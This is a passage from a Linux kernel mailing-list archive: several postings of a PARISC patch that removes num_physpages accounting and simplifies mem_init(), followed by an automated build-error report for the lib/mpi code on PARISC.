 	mem_limit_func();       /* check for "mem=" argument */
 
 	mem_max = 0;
-	num_physpages = 0;
 	for (i = 0; i < npmem_ranges; i++) {
 		unsigned long rsize;
 
@@ -229,10 +228,8 @@ static void __init setup_bootmem(void)
 				npmem_ranges = i + 1;
 				mem_max = mem_limit;
 			}
-	        num_physpages += pmem_ranges[i].pages;
 			break;
 		}
-	    num_physpages += pmem_ranges[i].pages;
 		mem_max += rsize;
 	}
 
@@ -532,7 +529,7 @@ void free_initmem(void)
 	 * pages are no-longer executable */
 	flush_icache_range(init_begin, init_end);
 	
-	num_physpages += free_initmem_default(-1);
+	free_initmem_default(-1);
 
 	/* set up a new led state on systems shipped LED State panel */
 	pdc_chassis_send_status(PDC_CHASSIS_DIRECT_BCOMPLETE);
@@ -580,8 +577,6 @@ unsigned long pcxl_dma_start __read_mostly;
 
 void __init mem_init(void)
 {
-	int codesize, reservedpages, datasize, initsize;
-
 	/* Do sanity checks on page table constants */
 	BUILD_BUG_ON(PTE_ENTRY_SIZE != sizeof(pte_t));
 	BUILD_BUG_ON(PMD_ENTRY_SIZE != sizeof(pmd_t));
@@ -603,33 +598,6 @@ void __init mem_init(void)
 	}
 #endif
 
-	codesize = (unsigned long)_etext - (unsigned long)_text;
-	datasize = (unsigned long)_edata - (unsigned long)_etext;
-	initsize = (unsigned long)__init_end - (unsigned long)__init_begin;
-
-	reservedpages = 0;
-{
-	unsigned long pfn;
-#ifdef CONFIG_DISCONTIGMEM
-	int i;
-
-	for (i = 0; i < npmem_ranges; i++) {
-		for (pfn = node_start_pfn(i); pfn < node_end_pfn(i); pfn++) {
-			if (PageReserved(pfn_to_page(pfn)))
-				reservedpages++;
-		}
-	}
-#else /* !CONFIG_DISCONTIGMEM */
-	for (pfn = 0; pfn < max_pfn; pfn++) {
-		/*
-		 * Only count reserved RAM pages
-		 */
-		if (PageReserved(pfn_to_page(pfn)))
-			reservedpages++;
-	}
-#endif
-}
-
 #ifdef CONFIG_PA11
 	if (hppa_dma_ops == &pcxl_dma_ops) {
 		pcxl_dma_start = (unsigned long)SET_MAP_OFFSET(MAP_START);
@@ -643,15 +611,7 @@ void __init mem_init(void)
 	parisc_vmalloc_start = SET_MAP_OFFSET(MAP_START);
 #endif
 
-	printk(KERN_INFO "Memory: %luk/%luk available (%dk kernel code, %dk reserved, %dk data, %dk init)\n",
-		nr_free_pages() << (PAGE_SHIFT-10),
-		num_physpages << (PAGE_SHIFT-10),
-		codesize >> 10,
-		reservedpages << (PAGE_SHIFT-10),
-		datasize >> 10,
-		initsize >> 10
-	);
-
+	mem_init_print_info(NULL);
 #ifdef CONFIG_DEBUG_KERNEL /* double-sanity-check paranoia */
 	printk("virtual kernel memory layout:\n"
 	       "    vmalloc : 0x%p - 0x%p   (%4ld MB)\n"
@@ -1099,6 +1059,6 @@ void flush_tlb_all(void)
 #ifdef CONFIG_BLK_DEV_INITRD
 void free_initrd_mem(unsigned long start, unsigned long end)
 {
-	num_physpages += free_reserved_area(start, end, -1, "initrd");
+	free_reserved_area(start, end, -1, "initrd");
 }
 #endif
-- 
1.7.9.5

--
To unsubscribe, send a message with 'unsubscribe linux-mm' in
the body to majordomo@kvack.org.  For more info on Linux MM,
see: http://www.linux-mm.org/ .
Don't email: <a href=mailto:"dont@kvack.org"> email@kvack.org </a>


From - Thu Nov 08 21:09:02 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jiang Liu <liuj97@gmail.com>
Newsgroups: gmane.linux.kernel.mm,gmane.linux.kernel,gmane.linux.ports.parisc
Subject: [RFC PATCH v2, part4 27/39] mm/PARISC: prepare for removing num_physpages and simplify mem_init()
Date: Sun, 24 Mar 2013 15:25:11 +0800
Lines: 123
Approved: news@gmane.org
Message-ID: <1364109934-7851-46-git-send-email-jiang.liu@huawei.com>
References: <1364109934-7851-1-git-send-email-jiang.liu@huawei.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1364110376 14284 80.91.229.3 (24 Mar 2013 07:32:56 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 24 Mar 2013 07:32:56 +0000 (UTC)
Cc: Jiang Liu <jiang.liu@huawei.com>,
	Wen Congyang <wency@cn.fujitsu.com>,
	Mel Gorman <mgorman@suse.de>,
	Minchan Kim <minchan@kernel.org>,
	KAMEZAWA Hiroyuki <kamezawa.hiroyu@jp.fujitsu.com>,
	Michal Hocko <mhocko@suse.cz>,
	Jianguo Wu <wujianguo@huawei.com>,
	linux-mm@kvack.org,
	linux-kernel@vger.kernel.org,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	Helge Deller <deller@gmx.de>,
	Thomas Gleixner <tglx@linutronix.de>,
	linux-parisc@vger.kernel.org
To: Andrew Morton <akpm@linux-foundation.org>,
	David Rientjes <rientjes@google.com>
Original-X-From: owner-linux-mm@kvack.org Sun Mar 24 08:33:20 2013
Return-path: <owner-linux-mm@kvack.org>
Envelope-to: glkm-linux-mm-2@m.gmane.org
Original-Received: from kanga.kvack.org ([205.233.56.17])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <owner-linux-mm@kvack.org>)
	id 1UJfQb-0002PO-Ew
	for glkm-linux-mm-2@m.gmane.org; Sun, 24 Mar 2013 08:33:17 +0100
Original-Received: by kanga.kvack.org (Postfix)
	id 179436B00B4; Sun, 24 Mar 2013 03:32:53 -0400 (EDT)
Delivered-To: linux-mm-outgoing@kvack.org
Original-Received: by kanga.kvack.org (Postfix, from userid 40)
	id D68AC6B00B6; Sun, 24 Mar 2013 03:32:52 -0400 (EDT)
X-Original-To: int-list-linux-mm@kvack.org
Delivered-To: int-list-linux-mm@kvack.org
Original-Received: by kanga.kvack.org (Postfix, from userid 63042)
	id 891C46B00B7; Sun, 24 Mar 2013 03:32:52 -0400 (EDT)
X-Original-To: linux-mm@kvack.org
Delivered-To: linux-mm@kvack.org
Original-Received: from psmtp.com (na3sys010amx129.postini.com [74.125.245.129])
	by kanga.kvack.org (Postfix) with SMTP id CB4D56B00B4
	for <linux-mm@kvack.org>; Sun, 24 Mar 2013 03:32:51 -0400 (EDT)
Original-Received: from mail-pa0-f53.google.com ([209.85.220.53]) (using TLSv1) by na3sys010amx129.postini.com ([74.125.244.10]) with SMTP;
	Sun, 24 Mar 2013 07:32:51 GMT
Original-Received: by mail-pa0-f53.google.com with SMTP id bh4so318117pad.12
        for <linux-mm@kvack.org>; Sun, 24 Mar 2013 00:32:50 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20120113;
        h=x-received:from:to:cc:subject:date:message-id:x-mailer:in-reply-to
         :references;
        bh=QbF6qJqXV47ETdCawnKJhgOw5FZPAZwCfNf0n9HixVA=;
        b=g/Dz3HVCCWWWoPNiX0q/wvm1cf0KAMrirPvbheSuzAugJavgK6UvPpMWP8ELzNXMfB
         zQB/3pZ3bIuQq3S0Qzp5VMf7bPUTduMHTXZU5Db25qnHFCZcO5ppGIvEhztNq0sy/yCI
         1xuGFLNAY/iEmbad1GXZA8NXfpGBBh/2wO+64t0UK95Lcb202rhj+qTfWS7QULxOY4VW
         CYW0uFQ9LyHWlkZjGmg+NUNG1TukFIyzEB/9pZxyRvGK89Jc1pXOgKVp5mZ+8063XlDx
         vulvJf8Cba1cozfTB0+mtx6YgVXU4TST35A55Wyy08oZhDLp71Uhe4CtrcRF+OVR21mN
         r7YA==
X-Received: by 10.66.179.238 with SMTP id dj14mr11927640pac.68.1364110370853;
        Sun, 24 Mar 2013 00:32:50 -0700 (PDT)
Original-Received: from localhost.localdomain ([114.246.175.231])
        by mx.google.com with ESMTPS id ce16sm9876553pac.5.2013.03.24.00.32.43
        (version=TLSv1.1 cipher=ECDHE-RSA-RC4-SHA bits=128/128);
        Sun, 24 Mar 2013 00:32:50 -0700 (PDT)
X-Mailer: git-send-email 1.7.9.5
In-Reply-To: <1364109934-7851-1-git-send-email-jiang.liu@huawei.com>
X-pstn-neptune: 6/3/0.50/99
X-pstn-levels: (S:99.90000/99.90000 CV:99.9000 FC:95.5390 LC:95.5390 R:95.9108 P:95.9108 M:97.0282 C:98.6951 )
X-pstn-dkim: 1 skipped:not-enabled
X-pstn-settings: 3 (1.0000:0.0100) s cv GT3 gt2 gt1 r p m c 
X-pstn-addresses: from <liuj97@gmail.com> [db-null] 
X-Bogosity: Ham, tests=bogofilter, spamicity=0.000000, version=1.2.3
Original-Sender: owner-linux-mm@kvack.org
Precedence: bulk
X-Loop: owner-majordomo@kvack.org
List-ID: <linux-mm.kvack.org>
Xref: news.gmane.org gmane.linux.kernel.mm:96722 gmane.linux.kernel:1462713 gmane.linux.ports.parisc:4870
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.mm/96722>

Prepare for removing num_physpages and simplify mem_init().

Signed-off-by: Jiang Liu <jiang.liu@huawei.com>
Cc: "James E.J. Bottomley" <jejb@parisc-linux.org>
Cc: Helge Deller <deller@gmx.de>
Cc: Thomas Gleixner <tglx@linutronix.de>
Cc: Michal Hocko <mhocko@suse.cz>
Cc: David Rientjes <rientjes@google.com>
Cc: linux-parisc@vger.kernel.org
Cc: linux-kernel@vger.kernel.org
---
 arch/parisc/mm/init.c |   46 +++-------------------------------------------
 1 file changed, 3 insertions(+), 43 deletions(-)

diff --git a/arch/parisc/mm/init.c b/arch/parisc/mm/init.c
index 1fe9d841..f80c175 100644
--- a/arch/parisc/mm/init.c
+++ b/arch/parisc/mm/init.c
@@ -214,7 +214,6 @@ static void __init setup_bootmem(void)
 	mem_limit_func();       /* check for "mem=" argument */
 
 	mem_max = 0;
-	num_physpages = 0;
 	for (i = 0; i < npmem_ranges; i++) {
 		unsigned long rsize;
 
@@ -229,10 +228,8 @@ static void __init setup_bootmem(void)
 				npmem_ranges = i + 1;
 				mem_max = mem_limit;
 			}
-	        num_physpages += pmem_ranges[i].pages;
 			break;
 		}
-	    num_physpages += pmem_ranges[i].pages;
 		mem_max += rsize;
 	}
 
@@ -532,7 +529,7 @@ void free_initmem(void)
 	 * pages are no-longer executable */
 	flush_icache_range(init_begin, init_end);
 	
-	num_physpages += free_initmem_default(-1);
+	free_initmem_default(-1);
 
 	/* set up a new led state on systems shipped LED State panel */
 	pdc_chassis_send_status(PDC_CHASSIS_DIRECT_BCOMPLETE);
@@ -580,8 +577,6 @@ unsigned long pcxl_dma_start __read_mostly;
 
 void __init mem_init(void)
 {
-	int codesize, reservedpages, datasize, initsize;
-
 	/* Do sanity checks on page table constants */
 	BUILD_BUG_ON(PTE_ENTRY_SIZE != sizeof(pte_t));
 	BUILD_BUG_ON(PMD_ENTRY_SIZE != sizeof(pmd_t));
@@ -603,33 +598,6 @@ void __init mem_init(void)
 	}
 #endif
 
-	codesize = (unsigned long)_etext - (unsigned long)_text;
-	datasize = (unsigned long)_edata - (unsigned long)_etext;
-	initsize = (unsigned long)__init_end - (unsigned long)__init_begin;
-
-	reservedpages = 0;
-{
-	unsigned long pfn;
-#ifdef CONFIG_DISCONTIGMEM
-	int i;
-
-	for (i = 0; i < npmem_ranges; i++) {
-		for (pfn = node_start_pfn(i); pfn < node_end_pfn(i); pfn++) {
-			if (PageReserved(pfn_to_page(pfn)))
-				reservedpages++;
-		}
-	}
-#else /* !CONFIG_DISCONTIGMEM */
-	for (pfn = 0; pfn < max_pfn; pfn++) {
-		/*
-		 * Only count reserved RAM pages
-		 */
-		if (PageReserved(pfn_to_page(pfn)))
-			reservedpages++;
-	}
-#endif
-}
-
 #ifdef CONFIG_PA11
 	if (hppa_dma_ops == &pcxl_dma_ops) {
 		pcxl_dma_start = (unsigned long)SET_MAP_OFFSET(MAP_START);
@@ -643,15 +611,7 @@ void __init mem_init(void)
 	parisc_vmalloc_start = SET_MAP_OFFSET(MAP_START);
 #endif
 
-	printk(KERN_INFO "Memory: %luk/%luk available (%dk kernel code, %dk reserved, %dk data, %dk init)\n",
-		nr_free_pages() << (PAGE_SHIFT-10),
-		num_physpages << (PAGE_SHIFT-10),
-		codesize >> 10,
-		reservedpages << (PAGE_SHIFT-10),
-		datasize >> 10,
-		initsize >> 10
-	);
-
+	mem_init_print_info(NULL);
 #ifdef CONFIG_DEBUG_KERNEL /* double-sanity-check paranoia */
 	printk("virtual kernel memory layout:\n"
 	       "    vmalloc : 0x%p - 0x%p   (%4ld MB)\n"
@@ -1099,6 +1059,6 @@ void flush_tlb_all(void)
 #ifdef CONFIG_BLK_DEV_INITRD
 void free_initrd_mem(unsigned long start, unsigned long end)
 {
-	num_physpages += free_reserved_area(start, end, -1, "initrd");
+	free_reserved_area(start, end, -1, "initrd");
 }
 #endif
-- 
1.7.9.5

--
To unsubscribe, send a message with 'unsubscribe linux-mm' in
the body to majordomo@kvack.org.  For more info on Linux MM,
see: http://www.linux-mm.org/ .
Don't email: <a href=mailto:"dont@kvack.org"> email@kvack.org </a>


From - Thu Nov 08 21:09:02 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jiang Liu <liuj97@gmail.com>
Newsgroups: gmane.linux.kernel.mm,gmane.linux.kernel.cross-arch,gmane.linux.kernel,gmane.linux.ports.parisc
Subject: [PATCH v3, part4 27/39] mm/PARISC: prepare for removing num_physpages and simplify mem_init()
Date: Tue, 26 Mar 2013 23:54:46 +0800
Lines: 132
Approved: news@gmane.org
Message-ID: <1364313298-17336-28-git-send-email-jiang.liu@huawei.com>
References: <1364313298-17336-1-git-send-email-jiang.liu@huawei.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1364313745 22389 80.91.229.3 (26 Mar 2013 16:02:25 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 26 Mar 2013 16:02:25 +0000 (UTC)
Cc: Jiang Liu <jiang.liu@huawei.com>,
	Wen Congyang <wency@cn.fujitsu.com>,
	Mel Gorman <mgorman@suse.de>,
	Minchan Kim <minchan@kernel.org>,
	KAMEZAWA Hiroyuki <kamezawa.hiroyu@jp.fujitsu.com>,
	Michal Hocko <mhocko@suse.cz>,
	James Bottomley <James.Bottomley@HansenPartnership.com>,
	Sergei Shtylyov <sergei.shtylyov@cogentembedded.com>,
	David Howells <dhowells@redhat.com>,
	Mark Salter <msalter@redhat.com>,
	Jianguo Wu <wujianguo@huawei.com>,
	linux-mm@kvack.org,
	linux-arch@vger.kernel.org,
	linux-kernel@vger.kernel.org,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	Helge Deller <deller@gmx.de>,
	Thomas Gleixner <tglx@linutronix.de>,
	linux-parisc@vger.kernel.org
To: Andrew Morton <akpm@linux-foundation.org>,
	David Rientjes <rientjes@google.com>
Original-X-From: owner-linux-mm@kvack.org Tue Mar 26 17:02:42 2013
Return-path: <owner-linux-mm@kvack.org>
Envelope-to: glkm-linux-mm-2@m.gmane.org
Original-Received: from kanga.kvack.org ([205.233.56.17])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <owner-linux-mm@kvack.org>)
	id 1UKWKd-0003BL-VK
	for glkm-linux-mm-2@m.gmane.org; Tue, 26 Mar 2013 17:02:40 +0100
Original-Received: by kanga.kvack.org (Postfix)
	id A70336B0121; Tue, 26 Mar 2013 12:01:54 -0400 (EDT)
Delivered-To: linux-mm-outgoing@kvack.org
Original-Received: by kanga.kvack.org (Postfix, from userid 40)
	id B9BEC6B0127; Tue, 26 Mar 2013 12:01:48 -0400 (EDT)
X-Original-To: int-list-linux-mm@kvack.org
Delivered-To: int-list-linux-mm@kvack.org
Original-Received: by kanga.kvack.org (Postfix, from userid 63042)
	id 3EC3C6B0124; Tue, 26 Mar 2013 12:01:45 -0400 (EDT)
X-Original-To: linux-mm@kvack.org
Delivered-To: linux-mm@kvack.org
Original-Received: from psmtp.com (na3sys010amx168.postini.com [74.125.245.168])
	by kanga.kvack.org (Postfix) with SMTP id D3D486B011C
	for <linux-mm@kvack.org>; Tue, 26 Mar 2013 12:01:42 -0400 (EDT)
Original-Received: from mail-da0-f50.google.com ([209.85.210.50]) (using TLSv1) by na3sys010amx168.postini.com ([74.125.244.10]) with SMTP;
	Tue, 26 Mar 2013 16:01:42 GMT
Original-Received: by mail-da0-f50.google.com with SMTP id t1so2219540dae.37
        for <linux-mm@kvack.org>; Tue, 26 Mar 2013 09:01:42 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20120113;
        h=x-received:from:to:cc:subject:date:message-id:x-mailer:in-reply-to
         :references;
        bh=4Qo0qjLatvDotSEo7lVrK9jN+i7AnQh9CCEScS+HiO4=;
        b=IfYIlmd58mPB8e0myczg0b6RI79p/cufnvNVdocRvpDvHaAHm3FOrYonw8K8ZmzMK7
         fkEe/noPpUyHtE2EuV3IYEXmB1L+x24H1GYWkOJTK//zD8BMx+FiLFvbDHzwjv37anx6
         nJXdGmPpeVdjE4l5MZdBE71tbR0k0XUyJ0GqQzv9onSkNHFHK7IMyiKtFLUHcfPldqsz
         9LDfFWnv09Ua02+UpYJRq46Loz3rjafyehbkDRdMRkOV4tBykXiZ7buQHEY53Rwep9QC
         cJcPn+l/mgfjecPjeR4fui9sFUPvxsqO9mt7H+ueNT1QrOgdQ9+FJ/oeh/24f+G9ccYw
         Aexw==
X-Received: by 10.68.143.167 with SMTP id sf7mr23874650pbb.21.1364313701145;
        Tue, 26 Mar 2013 09:01:41 -0700 (PDT)
Original-Received: from localhost.localdomain ([114.246.172.130])
        by mx.google.com with ESMTPS id bs1sm7150356pbc.8.2013.03.26.09.01.26
        (version=TLSv1.1 cipher=ECDHE-RSA-RC4-SHA bits=128/128);
        Tue, 26 Mar 2013 09:01:40 -0700 (PDT)
X-Mailer: git-send-email 1.7.9.5
In-Reply-To: <1364313298-17336-1-git-send-email-jiang.liu@huawei.com>
X-pstn-neptune: 4/1/0.25/100
X-pstn-levels: (S:99.90000/99.90000 CV:99.9000 FC:95.5390 LC:95.5390 R:95.9108 P:95.9108 M:97.0282 C:98.6951 )
X-pstn-dkim: 1 skipped:not-enabled
X-pstn-settings: 3 (1.0000:0.0100) s cv GT3 gt2 gt1 r p m c 
X-pstn-addresses: from <liuj97@gmail.com> [db-null] 
X-Bogosity: Ham, tests=bogofilter, spamicity=0.000000, version=1.2.3
Original-Sender: owner-linux-mm@kvack.org
Precedence: bulk
X-Loop: owner-majordomo@kvack.org
List-ID: <linux-mm.kvack.org>
Xref: news.gmane.org gmane.linux.kernel.mm:96863 gmane.linux.kernel.cross-arch:17327 gmane.linux.kernel:1464154 gmane.linux.ports.parisc:4873
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.mm/96863>

Prepare for removing num_physpages and simplify mem_init().

Signed-off-by: Jiang Liu <jiang.liu@huawei.com>
Cc: "James E.J. Bottomley" <jejb@parisc-linux.org>
Cc: Helge Deller <deller@gmx.de>
Cc: Thomas Gleixner <tglx@linutronix.de>
Cc: Michal Hocko <mhocko@suse.cz>
Cc: David Rientjes <rientjes@google.com>
Cc: linux-parisc@vger.kernel.org
Cc: linux-kernel@vger.kernel.org
---
Hi all,
	Sorry for my mistake that my previous patch series has been screwed up.
So I regenerate a third version and also set up a git tree at:
	git://github.com/jiangliu/linux.git mem_init
	Any help to review and test are welcomed!

	Regards!
	Gerry
---
 arch/parisc/mm/init.c |   46 +++-------------------------------------------
 1 file changed, 3 insertions(+), 43 deletions(-)

diff --git a/arch/parisc/mm/init.c b/arch/parisc/mm/init.c
index 1fe9d841..f80c175 100644
--- a/arch/parisc/mm/init.c
+++ b/arch/parisc/mm/init.c
@@ -214,7 +214,6 @@ static void __init setup_bootmem(void)
 	mem_limit_func();       /* check for "mem=" argument */
 
 	mem_max = 0;
-	num_physpages = 0;
 	for (i = 0; i < npmem_ranges; i++) {
 		unsigned long rsize;
 
@@ -229,10 +228,8 @@ static void __init setup_bootmem(void)
 				npmem_ranges = i + 1;
 				mem_max = mem_limit;
 			}
-	        num_physpages += pmem_ranges[i].pages;
 			break;
 		}
-	    num_physpages += pmem_ranges[i].pages;
 		mem_max += rsize;
 	}
 
@@ -532,7 +529,7 @@ void free_initmem(void)
 	 * pages are no-longer executable */
 	flush_icache_range(init_begin, init_end);
 	
-	num_physpages += free_initmem_default(-1);
+	free_initmem_default(-1);
 
 	/* set up a new led state on systems shipped LED State panel */
 	pdc_chassis_send_status(PDC_CHASSIS_DIRECT_BCOMPLETE);
@@ -580,8 +577,6 @@ unsigned long pcxl_dma_start __read_mostly;
 
 void __init mem_init(void)
 {
-	int codesize, reservedpages, datasize, initsize;
-
 	/* Do sanity checks on page table constants */
 	BUILD_BUG_ON(PTE_ENTRY_SIZE != sizeof(pte_t));
 	BUILD_BUG_ON(PMD_ENTRY_SIZE != sizeof(pmd_t));
@@ -603,33 +598,6 @@ void __init mem_init(void)
 	}
 #endif
 
-	codesize = (unsigned long)_etext - (unsigned long)_text;
-	datasize = (unsigned long)_edata - (unsigned long)_etext;
-	initsize = (unsigned long)__init_end - (unsigned long)__init_begin;
-
-	reservedpages = 0;
-{
-	unsigned long pfn;
-#ifdef CONFIG_DISCONTIGMEM
-	int i;
-
-	for (i = 0; i < npmem_ranges; i++) {
-		for (pfn = node_start_pfn(i); pfn < node_end_pfn(i); pfn++) {
-			if (PageReserved(pfn_to_page(pfn)))
-				reservedpages++;
-		}
-	}
-#else /* !CONFIG_DISCONTIGMEM */
-	for (pfn = 0; pfn < max_pfn; pfn++) {
-		/*
-		 * Only count reserved RAM pages
-		 */
-		if (PageReserved(pfn_to_page(pfn)))
-			reservedpages++;
-	}
-#endif
-}
-
 #ifdef CONFIG_PA11
 	if (hppa_dma_ops == &pcxl_dma_ops) {
 		pcxl_dma_start = (unsigned long)SET_MAP_OFFSET(MAP_START);
@@ -643,15 +611,7 @@ void __init mem_init(void)
 	parisc_vmalloc_start = SET_MAP_OFFSET(MAP_START);
 #endif
 
-	printk(KERN_INFO "Memory: %luk/%luk available (%dk kernel code, %dk reserved, %dk data, %dk init)\n",
-		nr_free_pages() << (PAGE_SHIFT-10),
-		num_physpages << (PAGE_SHIFT-10),
-		codesize >> 10,
-		reservedpages << (PAGE_SHIFT-10),
-		datasize >> 10,
-		initsize >> 10
-	);
-
+	mem_init_print_info(NULL);
 #ifdef CONFIG_DEBUG_KERNEL /* double-sanity-check paranoia */
 	printk("virtual kernel memory layout:\n"
 	       "    vmalloc : 0x%p - 0x%p   (%4ld MB)\n"
@@ -1099,6 +1059,6 @@ void flush_tlb_all(void)
 #ifdef CONFIG_BLK_DEV_INITRD
 void free_initrd_mem(unsigned long start, unsigned long end)
 {
-	num_physpages += free_reserved_area(start, end, -1, "initrd");
+	free_reserved_area(start, end, -1, "initrd");
 }
 #endif
-- 
1.7.9.5

--
To unsubscribe, send a message with 'unsubscribe linux-mm' in
the body to majordomo@kvack.org.  For more info on Linux MM,
see: http://www.linux-mm.org/ .
Don't email: <a href=mailto:"dont@kvack.org"> email@kvack.org </a>


From - Thu Nov 08 21:09:02 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Fengguang Wu <fengguang.wu@intel.com>
Newsgroups: gmane.linux.ports.parisc
Subject: lib/mpi/generic_mpih-mul1.c:50:3: error: inconsistent operand
 constraints in an 'asm'
Date: Wed, 27 Mar 2013 09:06:56 +0800
Lines: 74
Approved: news@gmane.org
Message-ID: <20130327010656.GB16102@localhost>
References: <5151d698.hmaj4mi8UziPZgoG%fengguang.wu@intel.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1364346425 31400 80.91.229.3 (27 Mar 2013 01:07:05 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 27 Mar 2013 01:07:05 +0000 (UTC)
Cc: Parisc List <linux-parisc@vger.kernel.org>
To: Dmitry Kasatkin <dmitry.kasatkin@intel.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Mar 27 02:07:30 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1UKepp-0002uF-5T
	for glpp-linux-parisc@plane.gmane.org; Wed, 27 Mar 2013 02:07:25 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754437Ab3C0BHA (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 26 Mar 2013 21:07:00 -0400
Original-Received: from mga11.intel.com ([192.55.52.93]:39688 "EHLO mga11.intel.com"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1753762Ab3C0BHA (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Tue, 26 Mar 2013 21:07:00 -0400
Original-Received: from fmsmga001.fm.intel.com ([10.253.24.23])
  by fmsmga102.fm.intel.com with ESMTP; 26 Mar 2013 18:06:58 -0700
X-ExtLoop1: 1
X-IronPort-AV: E=Sophos;i="4.84,915,1355126400"; 
   d="scan'208";a="308900549"
Original-Received: from unknown (HELO wfg-t420.sh.intel.com) ([10.255.20.128])
  by fmsmga001.fm.intel.com with ESMTP; 26 Mar 2013 18:06:57 -0700
Original-Received: from wfg by wfg-t420.sh.intel.com with local (Exim 4.77)
	(envelope-from <fengguang.wu@intel.com>)
	id 1UKepM-0004Od-Bs; Wed, 27 Mar 2013 09:06:56 +0800
Content-Disposition: inline
In-Reply-To: <5151d698.hmaj4mi8UziPZgoG%fengguang.wu@intel.com>
User-Agent: Mutt/1.5.21 (2010-09-15)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4874
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4874>

Hi Dmitry,

FYI, kernel build failed on

tree:   git://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux master
head:   a12183c62717ac4579319189a00f5883a18dff08
commit: 5ce3e312ec5c11abce13215be70700778bf601f0 crypto: GnuPG based MPI lib - header files (part 2)
date:   1 year, 5 months ago
config: make ARCH=parisc allyesconfig

All error/warnings:

   In file included from lib/mpi/generic_mpih-mul1.c:30:0:
   lib/mpi/longlong.h:355:1: warning: function declaration isn't a prototype [-Wstrict-prototypes]
   lib/mpi/generic_mpih-mul1.c: In function 'mpihelp_mul_1':
>> lib/mpi/generic_mpih-mul1.c:50:3: error: inconsistent operand constraints in an 'asm'
--
   In file included from lib/mpi/generic_mpih-mul2.c:30:0:
   lib/mpi/longlong.h:355:1: warning: function declaration isn't a prototype [-Wstrict-prototypes]
   lib/mpi/generic_mpih-mul2.c: In function 'mpihelp_addmul_1':
>> lib/mpi/generic_mpih-mul2.c:49:3: error: inconsistent operand constraints in an 'asm'
--
   In file included from lib/mpi/generic_mpih-mul3.c:30:0:
   lib/mpi/longlong.h:355:1: warning: function declaration isn't a prototype [-Wstrict-prototypes]
   lib/mpi/generic_mpih-mul3.c: In function 'mpihelp_submul_1':
>> lib/mpi/generic_mpih-mul3.c:49:3: error: inconsistent operand constraints in an 'asm'
--
   In file included from lib/mpi/mpih-div.c:31:0:
   lib/mpi/longlong.h:355:1: warning: function declaration isn't a prototype [-Wstrict-prototypes]
   lib/mpi/mpih-div.c: In function 'mpihelp_mod_1':
>> lib/mpi/mpih-div.c:97:5: error: inconsistent operand constraints in an 'asm'
>> lib/mpi/mpih-div.c:97:5: error: inconsistent operand constraints in an 'asm'
>> lib/mpi/mpih-div.c:106:4: error: inconsistent operand constraints in an 'asm'
>> lib/mpi/mpih-div.c:106:4: error: inconsistent operand constraints in an 'asm'
>> lib/mpi/mpih-div.c:135:5: error: inconsistent operand constraints in an 'asm'
>> lib/mpi/mpih-div.c:135:5: error: inconsistent operand constraints in an 'asm'

vim +/asm +50 lib/mpi/generic_mpih-mul1.c

cdec9cb5 Dmitry Kasatkin 2011-08-31  34  	      mpi_limb_t s2_limb)
cdec9cb5 Dmitry Kasatkin 2011-08-31  35  {
cdec9cb5 Dmitry Kasatkin 2011-08-31  36  	mpi_limb_t cy_limb;
cdec9cb5 Dmitry Kasatkin 2011-08-31  37  	mpi_size_t j;
cdec9cb5 Dmitry Kasatkin 2011-08-31  38  	mpi_limb_t prod_high, prod_low;
cdec9cb5 Dmitry Kasatkin 2011-08-31  39  
cdec9cb5 Dmitry Kasatkin 2011-08-31  40  	/* The loop counter and index J goes from -S1_SIZE to -1.  This way
cdec9cb5 Dmitry Kasatkin 2011-08-31  41  	 * the loop becomes faster.  */
cdec9cb5 Dmitry Kasatkin 2011-08-31  42  	j = -s1_size;
cdec9cb5 Dmitry Kasatkin 2011-08-31  43  
cdec9cb5 Dmitry Kasatkin 2011-08-31  44  	/* Offset the base pointers to compensate for the negative indices.  */
cdec9cb5 Dmitry Kasatkin 2011-08-31  45  	s1_ptr -= j;
cdec9cb5 Dmitry Kasatkin 2011-08-31  46  	res_ptr -= j;
cdec9cb5 Dmitry Kasatkin 2011-08-31  47  
cdec9cb5 Dmitry Kasatkin 2011-08-31  48  	cy_limb = 0;
cdec9cb5 Dmitry Kasatkin 2011-08-31  49  	do {
cdec9cb5 Dmitry Kasatkin 2011-08-31 @50  		umul_ppmm(prod_high, prod_low, s1_ptr[j], s2_limb);
